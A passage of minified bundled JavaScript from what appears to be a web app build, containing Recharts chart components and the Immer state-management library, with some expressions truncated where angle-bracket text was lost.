sT=kr(aT);var ly=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},Hn={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},Fk=(e,t,n)=>{var{width:r=Hn.width,height:i=Hn.height,aspect:a,maxHeight:o}=n,l=Vi(r)?e:Number(r),c=Vi(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},oT={width:0,height:0,overflow:"visible"},lT={width:0,overflowX:"visible"},cT={height:0,overflowY:"visible"},uT={},dT=e=>{var{width:t,height:n}=e,r=Vi(t),i=Vi(n);return r&&i?oT:r?lT:i?cT:uT};function fT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=Hn.width,a=Hn.height):i===void 0?i=r&&r>0?void 0:Hn.width:a===void 0&&(a=r&&r>0?void 0:Hn.height),{width:i,height:a}}function Pm(){return Pm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return xT(i)?p.createElement(Wk.Provider,{value:i},t):null}var Ax=()=>p.useContext(Wk),vT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=Hn.initialDimension,width:i,height:a,minWidth:o=Hn.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=Hn.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,O)=>{b(E=>{var T=Math.round(z),P=Math.round(O);return E.containerWidth===T&&E.containerHeight===P?E:{containerWidth:T,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return Qa;var z=P=>{var U,K=P[0];if(K!=null){var{width:$,height:L}=K.contentRect;w($,L),(U=y.current)===null||U===void 0||U.call(y,$,L)}};d>0&&(z=sT(z,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(z),{width:E,height:T}=g.current.getBoundingClientRect();return w(E,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;ly(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=Fk(j,k,{width:i,height:a,aspect:n,maxHeight:c});return ly(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Ve("recharts-responsive-container",m),style:uy(uy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:dT({width:i,height:a})},p.createElement(Uk,{width:S,height:N},u)))}),dy=p.forwardRef((e,t)=>{var n=Ax();if(si(n.width)&&si(n.height))return e.children;var{width:r,height:i}=fT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=Fk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return de(a)&&de(o)?p.createElement(Uk,{width:a,height:o},e.children):p.createElement(vT,Pm({},e,{width:r,height:i,ref:t}))});function _x(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var bd=()=>{var e,t=In(),n=he(rT),r=he(yd),i=(e=he(gd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},gT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},yT=()=>{var e;return(e=he(ft))!==null&&e!==void 0?e:gT},bT=()=>he(zr),wT=()=>he(Cr),Ee=e=>e.layout.layoutType,Ja=()=>he(Ee),jT=()=>{var e=Ja();if(e==="horizontal"||e==="vertical")return e},Vk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},kT=()=>{var e=Ja();return e!==void 0},Fo=e=>{var t=Qe(),n=In(),{width:r,height:i}=e,a=Ax(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&si(o)&&si(l)&&t(_6({width:o,height:l}))},[t,n,o,l]),null},Hk=Symbol.for("immer-nothing"),fy=Symbol.for("immer-draftable"),en=Symbol.for("immer-state");function Cn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var bo=Object.getPrototypeOf;function Fa(e){return!!e&&!!e[en]}function Ki(e){var t;return e?Kk(e)||Array.isArray(e)||!!e[fy]||!!((t=e.constructor)!=null&&t[fy])||Wo(e)||jd(e):!1}var NT=Object.prototype.constructor.toString(),py=new WeakMap;function Kk(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=py.get(n);return r===void 0&&(r=Function.toString.call(n),py.set(n,r)),r===NT}function Yc(e,t,n=!0){wd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function wd(e){const t=e[en];return t?t.type_:Array.isArray(e)?1:Wo(e)?2:jd(e)?3:0}function Em(e,t){return wd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function qk(e,t,n){const r=wd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function ST(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function Wo(e){return e instanceof Map}function jd(e){return e instanceof Set}function wi(e){return e.copy_||e.base_}function Am(e,t){if(Wo(e))return new Map(e);if(jd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Kk(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[en];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Sl,add:Sl,clear:Sl,delete:Sl}),Object.freeze(e),t&&Object.values(e).forEach(n=>Ox(n,!0))),e}function zT(){Cn(2)}var Sl={value:zT};function kd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var CT={};function qi(e){const t=CT[e];return t||Cn(0,e),t}var wo;function Yk(){return wo}function PT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function my(e,t){t&&(qi("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function _m(e){Om(e),e.drafts_.forEach(ET),e.drafts_=null}function Om(e){e===wo&&(wo=e.parent_)}function hy(e){return wo=PT(wo,e)}function ET(e){const t=e[en];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function xy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[en].modified_&&(_m(t),Cn(4)),Ki(e)&&(e=Gc(t,e),t.parent_||Xc(t,e)),t.patches_&&qi("Patches").generateReplacementPatches_(n[en].base_,e,t.patches_,t.inversePatches_)):e=Gc(t,n,[]),_m(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Hk?e:void 0}function Gc(e,t,n){if(kd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[en];if(!i)return Yc(t,(a,o)=>vy(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Xc(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),Yc(o,(c,u)=>vy(e,i,a,c,u,n,l),r),Xc(e,a,!1),n&&e.patches_&&qi("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function vy(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=kd(i);if(!(l&&!o)){if(Fa(i)){const c=a&&t&&t.type_!==3&&!Em(t.assigned_,r)?a.concat(r):void 0,u=Gc(e,i,c);if(qk(n,r,u),Fa(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(Ki(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;Gc(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(Wo(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Xc(e,i)}}}function Xc(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ox(t,n)}function AT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Yk(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Tx;n&&(i=[r],a=jo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Tx={get(e,t){if(t===en)return e;const n=wi(e);if(!Em(n,t))return _T(e,n,t);const r=n[t];return e.finalized_||!Ki(r)?r:r===Wf(e.base_,t)?(Uf(e),e.copy_[t]=Mm(r,e)):r},has(e,t){return t in wi(e)},ownKeys(e){return Reflect.ownKeys(wi(e))},set(e,t,n){const r=Gk(wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Wf(wi(e),t),a=i==null?void 0:i[en];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(ST(n,i)&&(n!==void 0||Em(e.base_,t)))return!0;Uf(e),Tm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return Wf(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Uf(e),Tm(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Cn(11)},getPrototypeOf(e){return bo(e.base_)},setPrototypeOf(){Cn(12)}},jo={};Yc(Tx,(e,t)=>{jo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});jo.deleteProperty=function(e,t){return jo.set.call(this,e,t,void 0)};jo.set=function(e,t,n){return Tx.set.call(this,e[0],t,n,e[0])};function Wf(e,t){const n=e[en];return(n?wi(n):e)[t]}function _T(e,t,n){var i;const r=Gk(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Gk(e,t){if(!(t in e))return;let n=bo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=bo(n)}}function Tm(e){e.modified_||(e.modified_=!0,e.parent_&&Tm(e.parent_))}function Uf(e){e.copy_||(e.copy_=Am(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Cn(6),r!==void 0&&typeof r!="function"&&Cn(7);let i;if(Ki(t)){const a=hy(this),o=Mm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?_m(a):Om(a)}return my(a,r),xy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Hk&&(i=void 0),this.autoFreeze_&&Ox(i,!0),r){const a=[],o=[];qi("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Cn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){Ki(e)||Cn(8),Fa(e)&&(e=TT(e));const t=hy(this),n=Mm(e,void 0);return n[en].isManual_=!0,Om(t),n}finishDraft(e,t){const n=e&&e[en];(!n||!n.isManual_)&&Cn(9);const{scope_:r}=n;return my(r,t),xy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=qi("Patches").applyPatches_;return Fa(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Mm(e,t){const n=Wo(e)?qi("MapSet").proxyMap_(e,t):jd(e)?qi("MapSet").proxySet_(e,t):AT(e,t);return(t?t.scope_:Yk()).drafts_.push(n),n}function TT(e){return Fa(e)||Cn(10,e),Xk(e)}function Xk(e){if(!Ki(e)||kd(e))return e;const t=e[en];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Am(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Am(e,!0);return Yc(n,(i,a)=>{qk(n,i,Xk(a))},r),t&&(t.finalized_=!1),n}var MT=new OT;MT.produce;var LT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Zk=Ut({name:"legend",initialState:LT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:De()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:De()},removeLegendPayload:{reducer(e,t){var n=_n(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:De()}}}),{setLegendSize:xV,setLegendSettings:vV,addLegendPayload:Qk,replaceLegendPayload:Jk,removeLegendPayload:eN}=Zk.actions,IT=Zk.reducer;function Lm(){return Lm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=ta.separator,contentStyle:n,itemStyle:r,labelStyle:i=ta.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=ta.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?ad(a,l):a).map((N,z)=>{if(N.type==="none")return null;var O=N.formatter||o||BT,{value:E,name:T}=N,P=E,U=T;if(O){var K=O(E,T,N,z,a);if(Array.isArray(K))[P,U]=K;else if(K!=null)P=K;else return null}var $=gs(gs({},ta.itemStyle),{},{color:N.color||ta.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:$},xr(U)?p.createElement("span",{className:"recharts-tooltip-item-name"},U):null,xr(U)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=gs(gs({},ta.contentStyle),n),g=gs({margin:0},i),y=!jt(d),v=y?d:"",b=Ve("recharts-default-tooltip",c),w=Ve("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Lm({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},ys="recharts-tooltip-wrapper",WT={visibility:"hidden"};function UT(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ve(ys,{["".concat(ys,"-right")]:de(n)&&t&&de(t.x)&&n>=t.x,["".concat(ys,"-left")]:de(n)&&t&&de(t.x)&&n=t.y,["".concat(ys,"-top")]:de(r)&&t&&de(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function VT(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function HT(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=yy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=yy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=VT({translateX:f,translateY:m,useTranslate3d:c})):d=WT,{cssProperties:d,cssClasses:UT({translateX:f,translateY:m,coordinate:n})}}function by(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zl(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=HT({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:zl(zl({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=zl(zl({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var tN=()=>{var e;return(e=he(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Dm(){return Dm=Object.assign?Object.assign.bind():function(e){for(var t=1;tje(e.x)&&je(e.y),Ny=e=>e.base!=null&&Zc(e.base)&&Zc(e),bs=e=>e.x,ws=e=>e.y,QT=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Do(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=ky["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return ky[n]||Zu},Sy={connectNulls:!1,type:"linear"},JT=e=>{var{type:t=Sy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Sy.connectNulls}=e,o=QT(t,i),l=a?n.filter(Zc):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>jy(jy({},x),{},{base:r[g]}));i==="vertical"?c=gl().y(ws).x1(bs).x0(x=>x.base.x):c=gl().x(bs).y1(ws).y0(x=>x.base.y);var d=c.defined(Ny).curve(o),f=a?u.filter(Ny):u;return d(f)}var m;i==="vertical"&&de(r)?m=gl().y(ws).x1(bs).x0(r):de(r)?m=gl().x(bs).y1(ws).y0(r):m=f5().x(bs).y(ws);var h=m.defined(Zc).curve(o);return h(l)},Ea=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=Ja();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?JT(o):r;return p.createElement("path",Dm({},hr(e),fx(e),{className:Ve("recharts-curve",t),d:l===null?void 0:l,ref:i}))},eM=["x","y","top","left","width","height","className"];function Rm(){return Rm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),lM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=aM(e,eM),u=tM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!de(t)||!de(n)||!de(a)||!de(o)||!de(r)||!de(i)?null:p.createElement("path",Rm({},At(u),{className:Ve("recharts-cross",l),d:oM(t,n,a,o,r,i)}))};function cM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Cy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Py(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),nN=(e,t,n)=>e.map(r=>"".concat(pM(r)," ").concat(t,"ms ").concat(n)).join(","),mM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),ko=(e,t)=>Object.keys(t).reduce((n,r)=>Py(Py({},n),{},{[r]:e(r,t[r])}),{});function Ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;te+(t-e)*n,$m=e=>{var{from:t,to:n}=e;return t!==n},rN=(e,t,n)=>{var r=ko((i,a)=>{if($m(a)){var[o,l]=e(a.from,a.to,a.velocity);return rt(rt({},a),{},{from:o,velocity:l})}return a},t);return n<1?ko((i,a)=>$m(a)&&r[i]!=null?rt(rt({},a),{},{velocity:Qc(a.velocity,r[i].velocity,n),from:Qc(a.from,r[i].from,n)}):a,t):rN(e,r,n-1)};function gM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>rt(rt({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>ko((m,h)=>h.from,l),u=()=>!Object.values(l).filter($m).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=rN(n,l,x),i(rt(rt(rt({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function yM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:rt(rt({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=ko((g,y)=>Qc(...y,n(m)),c);if(a(rt(rt(rt({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=ko((g,y)=>Qc(...y,n(1)),c);a(rt(rt(rt({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const bM=(e,t,n,r,i,a)=>{var o=mM(e,t);return n==null?()=>(i(rt(rt({},e),t)),()=>{}):n.isStepper===!0?gM(e,t,n,o,i,a):yM(e,t,n,r,o,i,a)};var Jc=1e-4,iN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],aN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),Ay=(e,t)=>n=>{var r=iN(e,t);return aN(r,n)},wM=(e,t)=>n=>{var r=iN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return aN(i,n)},jM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},kM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=Ay(e,n),a=Ay(t,r),o=wM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return _y(e);case"spring":return SM();default:if(e.split("(")[0]==="cubic-bezier")return _y(e)}return typeof e=="function"?e:null};function CM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class PM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function EM(){return CM(new PM)}var AM=p.createContext(EM);function _M(e,t){var n=p.useContext(AM);return p.useMemo(()=>t??n(e),[e,t,n])}var OM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Nd={isSsr:OM()},TM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Oy={t:0},Vf={t:1};function Sd(e){var t=rn(e,TM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Nd.isSsr:n,f=_M(t.animationId,t.animationManager),[m,h]=p.useState(d?Oy:Vf),x=p.useRef(null);return p.useEffect(()=>{d||h(Vf)},[d]),p.useEffect(()=>{if(!d||!r)return Qa;var g=bM(Oy,Vf,zM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function zd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(xo(t)),r=p.useRef(e);return r.current!==e&&(n.current=xo(t),r.current=e),n.current}var MM=["radius"],LM=["radius"],Ty,My,Ly,Iy,Dy,Ry,$y,By,Fy,Wy;function Uy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vy(e){for(var t=1;t{var a=Vr(n),o=Vr(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Ke(Ty||(Ty=$n(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Ke(My||(My=$n(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Ke(Ly||(Ly=$n(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Ke(Iy||(Iy=$n(["A ",",",",0,0,",`, + `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Ke(Dy||(Dy=$n(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Ke(Ry||(Ry=$n(["A ",",",",0,0,",`, + `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Ke($y||($y=$n(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Ke(By||(By=$n(["A ",",",",0,0,",`, + `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var 